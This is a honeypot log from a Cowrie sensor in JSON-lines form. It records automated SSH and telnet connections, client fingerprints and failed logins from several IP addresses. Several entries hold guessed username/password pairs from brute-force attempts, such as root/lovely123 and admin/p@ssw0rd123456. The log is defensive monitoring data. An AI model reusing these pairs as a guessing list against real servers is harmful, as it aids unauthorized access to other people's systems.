{"eventid":"cowrie.session.closed","duration":120.00130987167358,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:16.744757Z","src_ip":"187.88.74.212","session":"82ff7e24beb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00098419189453,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:16.813359Z","src_ip":"187.88.74.212","session":"510e5ba5bbcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":36052,"dst_ip":"159.203.135.109","dst_port":23,"session":"3720935be8db","protocol":"telnet","message":"New connection: 187.88.74.212:36052 (159.203.135.109:23) [session: 3720935be8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:17.275694Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pa$$word","message":"login attempt [ubuntu/pa$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:17.365933Z","src_ip":"157.7.113.83","session":"3305195bba49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":36062,"dst_ip":"159.203.135.109","dst_port":23,"session":"437e47c6d2ef","protocol":"telnet","message":"New connection: 187.88.74.212:36062 (159.203.135.109:23) [session: 437e47c6d2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:17.415963Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:18.525378Z","src_ip":"157.7.113.83","session":"3305195bba49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00094890594482,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:19.535121Z","src_ip":"187.88.74.212","session":"ec64f923ce58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":36184,"dst_ip":"159.203.135.109","dst_port":23,"session":"474e2795e9a8","protocol":"telnet","message":"New connection: 187.88.74.212:36184 (159.203.135.109:23) [session: 474e2795e9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:20.104560Z"}
{"eventid":"cowrie.session.closed","duration":120.00096297264099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:21.796336Z","src_ip":"187.88.74.212","session":"dab1cf47137f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":36250,"dst_ip":"159.203.135.109","dst_port":23,"session":"370c80d9f18d","protocol":"telnet","message":"New connection: 187.88.74.212:36250 (159.203.135.109:23) [session: 370c80d9f18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:22.419046Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":36134,"dst_ip":"10.17.0.5","dst_port":22,"session":"52e917ad3f59","protocol":"ssh","message":"New connection: 162.223.91.130:36134 (10.17.0.5:22) [session: 52e917ad3f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:29.399429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:29.403632Z","src_ip":"162.223.91.130","session":"52e917ad3f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:29.421044Z","src_ip":"162.223.91.130","session":"52e917ad3f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@ssw0rd123456","message":"login attempt [admin/p@ssw0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:29.528633Z","src_ip":"162.223.91.130","session":"52e917ad3f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:30.549220Z","src_ip":"162.223.91.130","session":"52e917ad3f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47492,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4057614038","protocol":"ssh","message":"New connection: 159.203.92.129:47492 (159.203.135.109:22) [session: 8b4057614038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:31.186024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:31.190780Z","src_ip":"159.203.92.129","session":"8b4057614038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:31.197918Z","src_ip":"159.203.92.129","session":"8b4057614038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"z123456","message":"login attempt [ansible/z123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:31.209238Z","src_ip":"159.203.92.129","session":"8b4057614038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:32.215040Z","src_ip":"159.203.92.129","session":"8b4057614038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":40132,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc0d44bf75a","protocol":"ssh","message":"New connection: 210.79.142.221:40132 (10.17.0.5:22) [session: ebc0d44bf75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:36.835843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:36.840605Z","src_ip":"210.79.142.221","session":"ebc0d44bf75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:37.083455Z","src_ip":"210.79.142.221","session":"ebc0d44bf75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer","message":"login attempt [ubuntu/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:38.087300Z","src_ip":"210.79.142.221","session":"ebc0d44bf75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:39.332426Z","src_ip":"210.79.142.221","session":"ebc0d44bf75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":43000,"dst_ip":"159.203.135.109","dst_port":22,"session":"d01f1af8fe24","protocol":"ssh","message":"New connection: 118.193.33.81:43000 (159.203.135.109:22) [session: d01f1af8fe24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:48.178326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:48.185435Z","src_ip":"118.193.33.81","session":"d01f1af8fe24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:48.402046Z","src_ip":"118.193.33.81","session":"d01f1af8fe24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123","message":"login attempt [reza/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:49.270643Z","src_ip":"118.193.33.81","session":"d01f1af8fe24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:50.493782Z","src_ip":"118.193.33.81","session":"d01f1af8fe24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":42687,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e50bca8cbbd","protocol":"ssh","message":"New connection: 81.30.162.19:42687 (159.203.135.109:22) [session: 0e50bca8cbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:03.862493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:03.868339Z","src_ip":"81.30.162.19","session":"0e50bca8cbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:03.988646Z","src_ip":"81.30.162.19","session":"0e50bca8cbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovely123","message":"login attempt [root/lovely123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:04.499077Z","src_ip":"81.30.162.19","session":"0e50bca8cbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:05.628768Z","src_ip":"81.30.162.19","session":"0e50bca8cbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":51030,"dst_ip":"10.17.0.5","dst_port":22,"session":"46405840100e","protocol":"ssh","message":"New connection: 162.223.91.130:51030 (10.17.0.5:22) [session: 46405840100e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:07.526929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:07.532694Z","src_ip":"162.223.91.130","session":"46405840100e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:07.555623Z","src_ip":"162.223.91.130","session":"46405840100e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e4r5t6y","message":"login attempt [test/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:07.664573Z","src_ip":"162.223.91.130","session":"46405840100e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:08.693726Z","src_ip":"162.223.91.130","session":"46405840100e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":59600,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ee7350b97aa","protocol":"ssh","message":"New connection: 157.7.113.83:59600 (159.203.135.109:22) [session: 9ee7350b97aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:13.193009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:13.198456Z","src_ip":"157.7.113.83","session":"9ee7350b97aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:13.369313Z","src_ip":"157.7.113.83","session":"9ee7350b97aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r2d2","message":"login attempt [root/r2d2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:14.063998Z","src_ip":"157.7.113.83","session":"9ee7350b97aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:15.232341Z","src_ip":"157.7.113.83","session":"9ee7350b97aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41536,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cf94a458e5c","protocol":"ssh","message":"New connection: 159.203.92.129:41536 (159.203.135.109:22) [session: 1cf94a458e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:18.656750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:18.661975Z","src_ip":"159.203.92.129","session":"1cf94a458e5c","protocol":"ssh"}
